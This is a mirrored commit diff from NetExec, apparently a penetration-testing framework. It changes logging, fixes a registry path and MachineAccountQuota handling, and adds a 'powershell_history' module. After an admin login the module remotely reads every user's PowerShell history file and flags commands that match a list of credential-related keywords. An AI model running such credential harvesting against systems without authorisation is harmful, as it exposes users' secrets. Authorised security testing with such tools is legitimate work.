mirror of
https://github.com/Pennyw0rth/NetExec
synced 2026-06-06 16:34:30 +00:00
Merge branch 'main' into bugfix/db-interface-error
This commit is contained in:
+9
-8
@@ -5,6 +5,7 @@ import os.path
|
||||
import sys
|
||||
import re
|
||||
from nxc.console import nxc_console
|
||||
from nxc.paths import NXC_PATH
|
||||
from termcolor import colored
|
||||
from datetime import datetime
|
||||
from rich.text import Text
|
||||
@@ -30,7 +31,7 @@ def setup_debug_logging():
|
||||
root_logger.setLevel(logging.INFO)
|
||||
elif debug_args.debug:
|
||||
nxc_logger.logger.setLevel(logging.DEBUG)
|
||||
root_logger.setLevel(logging.INFO)
|
||||
root_logger.setLevel(logging.DEBUG)
|
||||
else:
|
||||
nxc_logger.logger.setLevel(logging.ERROR)
|
||||
root_logger.setLevel(logging.ERROR)
|
||||
@@ -163,15 +164,16 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
If debug or info logging is not enabled, we still want display/success/fail logged to the file specified,
|
||||
so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers)
|
||||
"""
|
||||
if self.logger.getEffectiveLevel() >= logging.INFO and len(self.logger.handlers): # will be 0 if it's just the console output, so only do this if we actually have file loggers
|
||||
caller_frame = inspect.currentframe().f_back.f_back.f_back
|
||||
if len(self.logger.handlers): # will be 0 if it's just the console output, so only do this if we actually have file loggers
|
||||
try:
|
||||
for handler in self.logger.handlers:
|
||||
handler.handle(LogRecord("nxc", 20, "", kwargs, msg=text, args=args, exc_info=None))
|
||||
handler.handle(LogRecord("nxc", 20, pathname=caller_frame.f_code.co_filename, lineno=caller_frame.f_lineno, msg=text, args=args, exc_info=None))
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Issue while trying to custom print handler: {e}")
|
||||
|
||||
def add_file_log(self, log_file=None):
|
||||
file_formatter = TermEscapeCodeFormatter("%(asctime)s - %(levelname)s - %(message)s")
|
||||
file_formatter = TermEscapeCodeFormatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
output_file = self.init_log_file() if log_file is None else log_file
|
||||
file_creation = False
|
||||
|
||||
@@ -193,11 +195,10 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
|
||||
@staticmethod
|
||||
def init_log_file():
|
||||
newpath = os.path.expanduser("~/.nxc") + "/logs/" + datetime.now().strftime("%Y-%m-%d")
|
||||
if not os.path.exists(newpath):
|
||||
os.makedirs(newpath)
|
||||
newpath = NXC_PATH + "/logs/" + datetime.now().strftime("%Y-%m-%d")
|
||||
os.makedirs(newpath, exist_ok=True)
|
||||
return os.path.join(
|
||||
os.path.expanduser("~/.nxc"),
|
||||
NXC_PATH,
|
||||
"logs",
|
||||
datetime.now().strftime("%Y-%m-%d"),
|
||||
f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log",
|
||||
|
||||
@@ -22,7 +22,7 @@ class NXCModule:
|
||||
def on_admin_login(self, context, connection):
|
||||
self.context = context
|
||||
|
||||
path = "SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters"
|
||||
path = "SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters"
|
||||
key = "HostName"
|
||||
|
||||
try:
|
||||
|
||||
+8
-5
@@ -1,3 +1,5 @@
|
||||
from pyasn1.error import PyAsn1Error
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
@@ -21,9 +23,10 @@ class NXCModule:
|
||||
multiple_hosts = False
|
||||
|
||||
def on_login(self, context, connection):
|
||||
result = []
|
||||
context.log.display("Getting the MachineAccountQuota")
|
||||
searchFilter = "(objectClass=*)"
|
||||
attributes = ["ms-DS-MachineAccountQuota"]
|
||||
result = connection.search(searchFilter, attributes)
|
||||
context.log.highlight("MachineAccountQuota: %d" % result[0]["attributes"][0]["vals"][0])
|
||||
result = connection.search("(objectClass=*)", ["ms-DS-MachineAccountQuota"])
|
||||
try:
|
||||
maq = result[0]["attributes"][0]["vals"][0]
|
||||
context.log.highlight(f"MachineAccountQuota: {maq}")
|
||||
except PyAsn1Error:
|
||||
context.log.highlight("MachineAccountQuota: <not set>")
|
||||
|
||||
@@ -0,0 +1,73 @@
|
||||
import traceback
|
||||
from os import makedirs
|
||||
from os.path import join, abspath
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module by @357384n"""
|
||||
|
||||
name = "powershell_history"
|
||||
description = "Extracts PowerShell history for all users and looks for sensitive commands."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""To export all the history you can add the following option: -o export=True"""
|
||||
context.log.info(f"Received module options: {module_options}")
|
||||
self.export = bool(module_options.get("EXPORT", False))
|
||||
context.log.info(f"Option export set to: {self.export}")
|
||||
|
||||
def analyze_history(self, history):
|
||||
"""Analyze PowerShell history for sensitive information."""
|
||||
sensitive_keywords = [
|
||||
"password", "passwd", "passw", "secret", "credential", "key",
|
||||
"get-credential", "convertto-securestring", "set-localuser",
|
||||
"new-localuser", "set-adaccountpassword", "new-object system.net.webclient",
|
||||
"invoke-webrequest", "invoke-restmethod"
|
||||
]
|
||||
sensitive_commands = []
|
||||
for command in history:
|
||||
command_lower = command.lower()
|
||||
if any(keyword.lower() in command_lower for keyword in sensitive_keywords):
|
||||
sensitive_commands.append(command.strip())
|
||||
return sensitive_commands
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
"""Main function to retrieve and analyze PowerShell history."""
|
||||
try:
|
||||
context.log.info("Retrieving PowerShell history...")
|
||||
command = 'powershell.exe "type C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt"'
|
||||
history = connection.execute(command, True).split("\n")
|
||||
if history:
|
||||
sensitive_commands = self.analyze_history(history)
|
||||
if sensitive_commands:
|
||||
context.log.highlight("Sensitive commands found in PowerShell history:")
|
||||
for command in sensitive_commands:
|
||||
context.log.highlight(f" {command}")
|
||||
else:
|
||||
context.log.info("No sensitive commands found in PowerShell history.")
|
||||
else:
|
||||
context.log.info("No PowerShell history found.")
|
||||
|
||||
# Check if export is enabled
|
||||
context.log.info(f"Export option is set to: {self.export}")
|
||||
if self.export and history:
|
||||
host = connection.host # Assuming 'host' contains the target IP or hostname
|
||||
filename = f"{host}_powershell_history.txt"
|
||||
export_path = join(NXC_PATH, "modules", "powershell_history")
|
||||
path = abspath(join(export_path, filename))
|
||||
makedirs(export_path, exist_ok=True)
|
||||
|
||||
context.log.info(f"Export enabled, writing history to {path}")
|
||||
try:
|
||||
with open(path, "w") as file:
|
||||
for cmd in history:
|
||||
file.write(cmd + "\n")
|
||||
context.log.highlight(f"PowerShell history written to: {path}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Failed to write history to {filename}: {e}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"UNEXPECTED ERROR: {e}")
|
||||
context.log.debug(traceback.format_exc())
|
||||
Reference in New Issue
Block a user